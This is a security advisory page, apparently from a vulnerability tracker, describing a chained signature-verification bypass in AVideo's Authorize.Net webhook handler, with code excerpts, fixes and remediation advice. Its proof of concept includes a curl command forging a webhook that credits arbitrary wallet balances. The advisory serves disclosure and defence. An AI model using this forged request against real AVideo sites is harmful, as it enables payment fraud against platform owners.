Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Network-accessible endpoint requires only a low-privileged account (one real purchase); no confidentiality or availability impact, but complete wallet-integrity bypass.
Primary rating from Vendor (https://github.com/WWBN/AVideo).
CVSS VectorVendor: https://github.com/WWBN/AVideo
Lifecycle Timeline
2DescriptionCVE.org
Summary
The Authorize.Net webhook handler at plugin/AuthorizeNet/webhook.php contains a signature verification bypass that allows an attacker to forge webhook requests with arbitrary payment amounts and target user IDs. By supplying a valid transaction ID from a small legitimate purchase, the attacker bypasses signature validation and credits arbitrary wallet balances to any user account via attacker-controlled payload fields.
Details
Three flaws combine into an exploit chain:
1. Signature Bypass via OR Logic (webhook.php:33)
if (!$parsed['signatureValid'] && (empty($txnInfo) || !empty($txnInfo['error']))) {
http_response_code(401);
echo 'invalid signature';
exit;
}The webhook is rejected only when both conditions are true: the signature is invalid AND the transaction lookup fails. If the attacker supplies a real transaction ID (e.g., from their own $1 purchase), getTransactionDetails() succeeds and returns valid data, so the second condition is false. The invalid signature is silently ignored.
2. Payload Values Override API-Fetched Values (AuthorizeNet.php:169-171, webhook.php:44-48)
In analyzeTransactionFromWebhook(), users_id and amount are extracted from the attacker-controlled webhook payload first:
$users_id = isset($metadata['users_id']) ? (int)$metadata['users_id'] : null;
$amount = isset($payload['amount']) ? (float)$payload['amount'] : ...;The fallback logic in webhook.php only applies when the analysis values are empty/falsy:
if (!$analysis['users_id'] && !empty($txnInfo['users_id'])) {
$analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (!$analysis['amount'] && isset($txnInfo['amount'])) {
$analysis['amount'] = (float)$txnInfo['amount'];
}Since the forged payload already provides both values, the authoritative API-fetched values are never used.
3. Missing Approval Check (webhook.php:61-75)
The code checks only that users_id and amount are non-empty before calling processSinglePayment(). The isApproved field is computed in analyzeTransactionFromWebhook() (line 222-228) but never verified before crediting the wallet at line 68-75.
PoC
Prerequisites: Attacker has a low-privileged account on the AVideo instance and has made at least one legitimate small Authorize.Net purchase (e.g., $1.00), noting the transaction ID (e.g., 60123456789).
- Immediately after the purchase completes (to race the legitimate webhook), send a forged webhook:
curl -X POST https://target.com/plugin/AuthorizeNet/webhook.php \
-H 'Content-Type: application/json' \
-d '{
"eventType": "net.authorize.payment.authcapture.created",
"payload": {
"id": "60123456789",
"amount": 99999.99,
"responseCode": 1,
"metadata": {
"users_id": 2
}
}
}'- The signature check fails (no
X-ANET-Signatureheader), butgetTransactionDetails('60123456789')succeeds because it is a real transaction. The OR condition on line 33 is not fully satisfied, so execution continues. analyzeTransactionFromWebhook()uses the forged payload'samount: 99999.99andmetadata.users_id: 2.processSinglePayment()credits $99,999.99 to user ID 2's wallet viaaddBalance().- The dedup key is
sha1('net.authorize.payment.authcapture.created' . '60123456789'), so the legitimate webhook arriving later is silently discarded as a duplicate. - The attacker can repeat with new transaction IDs from additional small purchases for cumulative balance inflation.
Impact
- Wallet balance inflation: Attacker credits arbitrary amounts to any user's wallet without corresponding payment, bypassing the payment gateway's actual charge amount.
- Premium content access: Inflated wallet balance allows purchasing all paid/premium video content without real payment.
- Subscription fraud: By including
plans_idin forged metadata, the attacker can activate premium subscriptions (webhook.php:86-134) without corresponding payment. - Financial loss: Platform owner loses revenue from fraudulently accessed premium content and services.
Recommended Fix
1. Reject webhooks with invalid signatures unconditionally - the transaction lookup should only be used for data enrichment *after* signature validation passes:
// webhook.php line 33 - FIX: reject on invalid signature alone
if (!$parsed['signatureValid']) {
_error_log('[Authorize.Net webhook] Bad signature');
http_response_code(401);
echo 'invalid signature';
exit;
}2. Use API-fetched values as authoritative - in webhook.php lines 44-55, invert the precedence so $txnInfo values always override payload values:
// Always prefer API-fetched values over payload values
if (!empty($txnInfo['users_id'])) {
$analysis['users_id'] = (int)$txnInfo['users_id'];
}
if (isset($txnInfo['amount'])) {
$analysis['amount'] = (float)$txnInfo['amount'];
}3. Check isApproved before processing - add a gate before processSinglePayment():
if (!$analysis['isApproved']) {
_error_log('[Authorize.Net webhook] Transaction not approved');
http_response_code(400);
echo 'transaction not approved';
exit;
}AnalysisAI
Wallet balance inflation in AVideo's Authorize.Net payment plugin (versions <= 28.0) allows a low-privileged attacker to credit arbitrary amounts to any user account by forging webhook requests. Three code flaws chain together: a logical OR in the signature check lets a real transaction ID bypass HMAC validation entirely, attacker-controlled payload fields take precedence over authoritative API-fetched amounts and user IDs, and the payment approval status is never verified before crediting the wallet. A detailed proof-of-concept with working curl commands is publicly documented in GitHub Advisory GHSA-95jh-7r58-xmxw. No confirmed active exploitation (CISA KEV) at time of analysis, but the PoC lowers the bar to exploitation significantly.
Technical ContextAI
AVideo is a self-hosted PHP video platform (pkg:composer/wwbn/avideo). Its Authorize.Net payment plugin exposes a public-facing webhook endpoint at plugin/AuthorizeNet/webhook.php that receives payment event callbacks. Webhook authenticity is supposed to be enforced via HMAC-SHA512 over the raw request body using the Authorize.Net Signature Key, transmitted in the X-ANET-Signature header. CWE-345 (Insufficient Verification of Data Authenticity) describes all three root causes: (1) the rejection gate at webhook.php:33 uses AND logic rather than OR - a missing or invalid signature is only fatal when combined with a failed transaction lookup, meaning a real transaction ID silently neutralizes the signature check; (2) analyzeTransactionFromWebhook() at AuthorizeNet.php:169-171 extracts users_id and amount from the untrusted JSON payload before falling back to the Authorize.Net API response, so attacker-supplied values are always used; (3) the isApproved flag computed at line 222-228 is never evaluated as a gate before processSinglePayment() is called at lines 68-75, allowing credits for declined or pending transactions. The affected CPE is pkg:composer/wwbn/avideo up to and including version 28.0.
RemediationAI
Upgrade AVideo to version 29.0 or later, which resolves all three flaws via commit 033e83ae904cacb99495dbea7cbcfb3738cf42e4 (https://github.com/WWBN/AVideo/commit/033e83ae904cacb99495dbea7cbcfb3738cf42e4). The patch unconditionally rejects webhooks with invalid HMAC-SHA512 signatures before any transaction lookup occurs, inverts value precedence so API-fetched amounts and user IDs always override payload values, and fixes case-insensitive status string comparison for the approval check. If immediate upgrade is not feasible, the highest-value compensating control is to block external access to plugin/AuthorizeNet/webhook.php via web server ACLs or firewall rules, restricting inbound requests to Authorize.Net's published webhook source IP ranges only - this prevents forged webhooks entirely but requires ongoing maintenance as Authorize.Net's IP list changes. Alternatively, disabling the Authorize.Net plugin entirely stops exploitation at the cost of halting payment processing. There is no known safe workaround that preserves full payment functionality without upgrading. See the full advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-95jh-7r58-xmxw.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-45041
GHSA-95jh-7r58-xmxw